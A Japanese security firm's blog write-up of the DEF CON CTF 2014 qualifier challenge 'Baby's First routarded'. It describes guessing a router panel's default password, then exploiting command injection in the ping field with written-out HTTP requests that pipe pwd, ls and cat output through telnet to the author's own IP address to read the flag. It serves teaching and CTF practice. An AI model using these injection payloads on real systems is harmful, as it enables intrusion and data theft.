スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > DEF CON CTF Qualsにチャレンジ! Baby's First routarded Writeup

タイガーチームセキュリティレポート

セキュリティレポート/DEF CON CTF Qualsにチャレンジ!

今年もDEF CON CTFの予選に参加しました。毎年苦労するのですが、今年は特に厳しかったですね~
そんな中でも、今年もいくつか解けた問題を紹介したいと思います。


DEF CON CTF 2014 Quals Baby's First routarded Writeup

問題文はこちら Wow, they forwarded http on a router with default creds? It must be my birthday... http://routarded_87f7837f50a5370771b9467d840c93c5.2014.shallweplayaga.me:5000/
-パスワードはなんだろうね~-

なにはともあれ、問題文にあるURLにアクセスしてみます。がっ。いきなりBasic認証の壁にぶちあたりました。
それでも慌てませんよ。認証突破なんてものはいつもの我々の業務の一環、まずは、情報収集をと・・・

問題文をみると「It must be my birthday...」とあるので、「パスワードは何かの誕生日かもしれないぞ。」と思いつくわけです。で、サーバのレスポンスヘッダを見るとWebサーバは「gunicorn」らしいので「公開日」=「誕生日」じゃね?ってことで公開日をパスワードにぶちこんでみるも不発・・・
まぁ、そんな簡単にはいきませんね。それではってことで、我々の持つこれまでの業務にて収集した情報を貯めに貯めこんだ渾身の辞書をぶっこんでみますw 辞書攻撃ってやつです。

すると・・・

あら、まぁ、突破できましたよ。
ユーザ:<なし> パスワード:「admin」でw
我々の渾身の辞書・・・orz


-ウェブだインジェクションだ!-


とっても簡単な認証情報を使ってログインするとルータの管理画面が開きました。ルータの設定をしてみてもおもしろくないので、このアプリケーションの脆弱性を見つけて攻撃してみましょう。まずはアプリケーションを動かしてみて怪しそうなところを探します。
CTFは答えとなる"キー(flag)"を探すコンテストなので、サーバから情報を抜くと言えば、データベースかファイルがまず思いあたります。それらにアクセスするWebアプリケーションの脆弱性となると、SQLインジェクションとかコマンドインジェクションってところでしょうか
パスワードを設定している機能と「ping」を投げている機能が匂います。プンプンします。 そんなプンプンの機能のうち、もっとも臭う「ping」を攻めてみます。まずはlocalhostにpingを投げてみます。
応答があります。あたりまえです。そう言う機能なのです。
気にしなきゃいけないのは、そんなことではなくて「ping」を投げた時のHTTPのリクエストです。
POST /settings.cgi HTTP/1.1
Host: routarded_87f7837f50a5370771b9467d840c93c5.2014.shallweplayaga.me:5000
//~ 省略 ~//
action=doPing&inputIPAddress=localhost
「inputIPAddress」の入力値がそのままpingの引数に渡されているような気がします。そこでpingコマンドのオプション(20回ICMPリクエストを送信)を入れてみます。 POST /settings.cgi HTTP/1.1
Host: routarded_87f7837f50a5370771b9467d840c93c5.2014.shallweplayaga.me:5000
//~ 省略 ~//
action=doPing&inputIPAddress=-c%2020%20localhost
おぉぉ、きっちり20回返してきやがります。どうやらコマンドインジェクションが効きそうですね。 まずは単純なところで、telnetで試してみましょう。クライアント側(ローカルPC)の81/tcpで口を大きくあけてtelnetが接続してくるのを待ち構えます。 先程の「inputIPAddress」にパイプで繋げたtelnetを突っ込んでみます。 POST /settings.cgi HTTP/1.1
Host: routarded_87f7837f50a5370771b9467d840c93c5.2014.shallweplayaga.me:5000
//~ 省略 ~//
action=doPing&inputIPAddress=localhost|telnet%20221.○.○.○%2081|
恐ろしくすんなりと接続されました。(@_@;) connect to [221.○.○.○] from ec2-54-255-191-242.ap-southeast-1.compute.amazonaws.com [54.255.191.242] 55766
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.024 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.024 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.023 ms
64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.021 ms

--- localhost ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 0.021/0.023/0.024/0.001 ms
こうなりゃ、あとは片っ端からコマンドを打ち込んで情報を収集します。まずはpwdでカレントディレクトリを確認します。 POST /settings.cgi HTTP/1.1
Host: routarded_87f7837f50a5370771b9467d840c93c5.2014.shallweplayaga.me:5000
//~ 省略 ~//
action=doPing&inputIPAddress=localhost|pwd|telnet%20221.○.○.○%2081|
ふ~ん /home/routarded 次に、lsでカレントディレクトリに存在するファイルを確認。 POST /settings.cgi HTTP/1.1
Host: routarded_87f7837f50a5370771b9467d840c93c5.2014.shallweplayaga.me:5000
//~ 省略 ~//
action=doPing&inputIPAddress=localhost|ls%20-la|telnet%20221.○.○.○%2081|
あれー。見えちゃった( ̄m ̄* ) drwxr-x--- 5 root routarded 4096 May 17 04:42 .
drwxr-xr-x 4 root root 4096 May 16 20:46 ..
-rw-r--r-- 1 routarded routarded 220 Apr 9 01:03 .bash_logout
-rw-r--r-- 1 routarded routarded 3637 Apr 9 01:03 .bashrc
drwxr-x--- 4 root routarded 4096 May 17 04:40 bower_components
-rwxr-x--- 1 root routarded 56 May 17 04:39 flag
-rw-r--r-- 1 routarded routarded 675 Apr 9 01:03 .profile
-rwxr-x--- 1 root routarded 163 May 17 04:40 requirements.txt
-rwxr-x--- 1 root routarded 3359 May 17 04:39 routarded.py
drwx------ 2 routarded routarded 4096 May 17 03:41 .ssh
lrwxrwxrwx 1 root root 33 May 17 04:42 static -> /home/routarded/bower_components/
drwxr-x--- 2 root routarded 4096 May 17 04:41 templates
-rw------- 1 routarded routarded 627 May 17 03:29 .viminfo
「flag」ってファイル・・・catしてみる。 POST /settings.cgi HTTP/1.1
Host: routarded_87f7837f50a5370771b9467d840c93c5.2014.shallweplayaga.me:5000
//~ 省略 ~//
action=doPing&inputIPAddress=localhost|cat%20flag|telnet%20221.○.○.○%2081|
(ノ゚ο゚)ノ オオオオォォォォォォ- The flag is: l0l, can't believe they still do this shit ゲット(*^^)v
いがいとすんなりでしたね。

タイガーチームメンバー 薮本 力将